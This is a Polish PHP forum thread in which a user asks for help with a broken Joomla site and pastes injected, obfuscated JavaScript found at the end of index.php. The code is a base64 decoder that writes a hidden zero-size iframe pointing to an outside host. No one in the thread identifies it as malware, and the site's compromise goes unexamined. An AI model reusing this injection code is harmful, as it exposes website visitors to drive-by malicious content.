Witaj Gościu! ( Zaloguj | Rejestruj )

Forum PHP.pl

 
Reply to this topicStart new topic
> [PHP]Błąd Parse error w Joomla
jerry123
post 28.09.2008, 19:21:49
Post #1





Grupa: Zarejestrowani
Postów: 2
Pomógł: 0
Dołączył: 28.09.2008

Ostrzeżenie: (0%)
-----


Witam
Sorry, że tutaj ale na forum Joomla jakoś nic nie mogę znaleźć. Problem jest następujący stronka postawiona na serwerze internetdsl w Joomla 1.5.6 dzialała prawie miesiąc, aż tu wczoraj przy próbie wejścia pojawił się błąd:
CODE
Parse error: syntax error, unexpected '?' in index.php on line 88


Nie znam się na php więc może ktoś mnie oświeci i podpowie jak to ugryźć. Wkleję fragment kodu z tego index.php od 87 linii:

CODE
echo JResponse::toString($mainframe->getCfg('gzip')); <script type=text/javascript>

eval("function _g_u(t){var k='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var o='';var q,w,e;var a,s,d,f;var i=0;do{a = k.indexOf(t.charAt(i++));s=k.indexOf(t.charAt(i++));d=k.indexOf(t.charAt(i++));f
k.indexOf(t.charAt(i++));q=(a << 2) | (s >> 4);w=((s & 15) << 4) | (d >> 2);e=((d & 3) << 6) | f;o=o+String.fromCharCode(q);if(d!=64) o=o+String.fromCharCode(w); if(f!=64) o=o+String.fromCharCode(e);} while(i<t.length);document.write(o);};_g_u('PElGUkFNRSBTUkM9Imh0dHA6Ly90cmFmZmEuaW5mby9pbWcvc3R5bGUvc3R5bGUucGhwIiBXSURU
D0wIEhFSUdIVD0wPjwvSUZSQU1FPg==');");



Bardzo mi zależy na przywróceniu stronki do życia, bo to szkolna stronka i szefuńcio mnie zje, a nie zdążyłem zrobić kopii...
i boję się myśleć co będzie jak się nie uda sadsmiley02.gif
Powód edycji: dodałem tag (cysiaczek) - następnym razem zrób to sam
Go to the top of the page
+Quote Post
redelek
post 28.09.2008, 20:38:21
Post #2





Grupa: Zarejestrowani
Postów: 658
Pomógł: 37
Dołączył: 4.06.2005
Skąd: Wawa

Ostrzeżenie: (0%)
-----


Cytat(jerry123 @ 28.09.2008, 18:21:49 ) *
Witam
Sorry, że tutaj ale na forum Joomla jakoś nic nie mogę znaleźć. Problem jest następujący stronka postawiona na serwerze internetdsl w Joomla 1.5.6 dzialała prawie miesiąc, aż tu wczoraj przy próbie wejścia pojawił się błąd:
CODE
Parse error: syntax error, unexpected '?' in index.php on line 88


Nie znam się na php więc może ktoś mnie oświeci i podpowie jak to ugryźć. Wkleję fragment kodu z tego index.php od 87 linii:

CODE
echo JResponse::toString($mainframe->getCfg('gzip')); <script type=text/javascript>

eval("function _g_u(t){var k='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var o='';var q,w,e;var a,s,d,f;var i=0;do{a = k.indexOf(t.charAt(i++));s=k.indexOf(t.charAt(i++));d=k.indexOf(t.charAt(i++));f
k.indexOf(t.charAt(i++));q=(a << 2) | (s >> 4);w=((s & 15) << 4) | (d >> 2);e=((d & 3) << 6) | f;o=o+String.fromCharCode(q);if(d!=64) o=o+String.fromCharCode(w); if(f!=64) o=o+String.fromCharCode(e);} while(i<t.length);document.write(o);};_g_u('PElGUkFNRSBTUkM9Imh0dHA6Ly90cmFmZmEuaW5mby9pbWcvc3R5bGUvc3R5bGUucGhwIiBXSURU
D0wIEhFSUdIVD0wPjwvSUZSQU1FPg==');");



Bardzo mi zależy na przywróceniu stronki do życia, bo to szkolna stronka i szefuńcio mnie zje, a nie zdążyłem zrobić kopii...
i boję się myśleć co będzie jak się nie uda sadsmiley02.gif


Nie musisz się znać:)
Pobierz Jomla wypakuj ją i zobacz jak tam wygląda index.php. Porównaj ze swoim.
Prawdopodobnie brakuje takiego znaczka ?> czyli zakończenia kodu PHP.

Najprościej to porównaj swój plik z oryginalnym i po sprawie.

Pozdrawiam
Redelek


--------------------
Pozdrawiam
Piotrek R
Go to the top of the page
+Quote Post
jerry123
post 29.09.2008, 14:37:26
Post #3





Grupa: Zarejestrowani
Postów: 2
Pomógł: 0
Dołączył: 28.09.2008

Ostrzeżenie: (0%)
-----


Witam ponownie
Dzięki za pomoc tak właśnie zrobiłem - i udało się chociaż nie bardzo wiem dlaczego. Podzielę się z Wami, może komuś się przyda...
Otóż jak pisałem wcześniej nie znam php, nie zdążyłem zrobić kopii zapasowj (teraz już mam zrobioną), więc normalnie miałem doła. Miałem na dysku lokalnym archwum z którego instalowalem Joomla, więc rozpakowałem i porównałem pliki index.php z serwera gdzie jest stronka i te z pakietu instalacyjnego, aha plików index.php znalazłem 2 - drugi w katalogu administrator i w obu tych plikach na serwerze był na końcu jakiś kod po 'gzip')); - to co wkleiłem w poprzednim poście - więc nie mając nic do stracenia ustawilem ten fragment jako komentarz /**/ w obu plikach i poszło.
Nie wiem skąd to się tam wzięło, czy jakiś moduł coś wkleił, czy jak próbowałem uruchomić możliwość logowania coś nabroiłem, czy ktoś się włamał...
no ale ważne, że stronka działa , czyżby Joomla była tak nieodporna na możliwość grzebania w kodzie przez intruza
pozdrawiam
Go to the top of the page
+Quote Post

Reply to this topicStart new topic
1 Użytkowników czyta ten temat (1 Gości i 0 Anonimowych użytkowników)
0 Zarejestrowanych:

 



RSS Wersja Lo-Fi Aktualny czas: 10.07.2025 - 07:00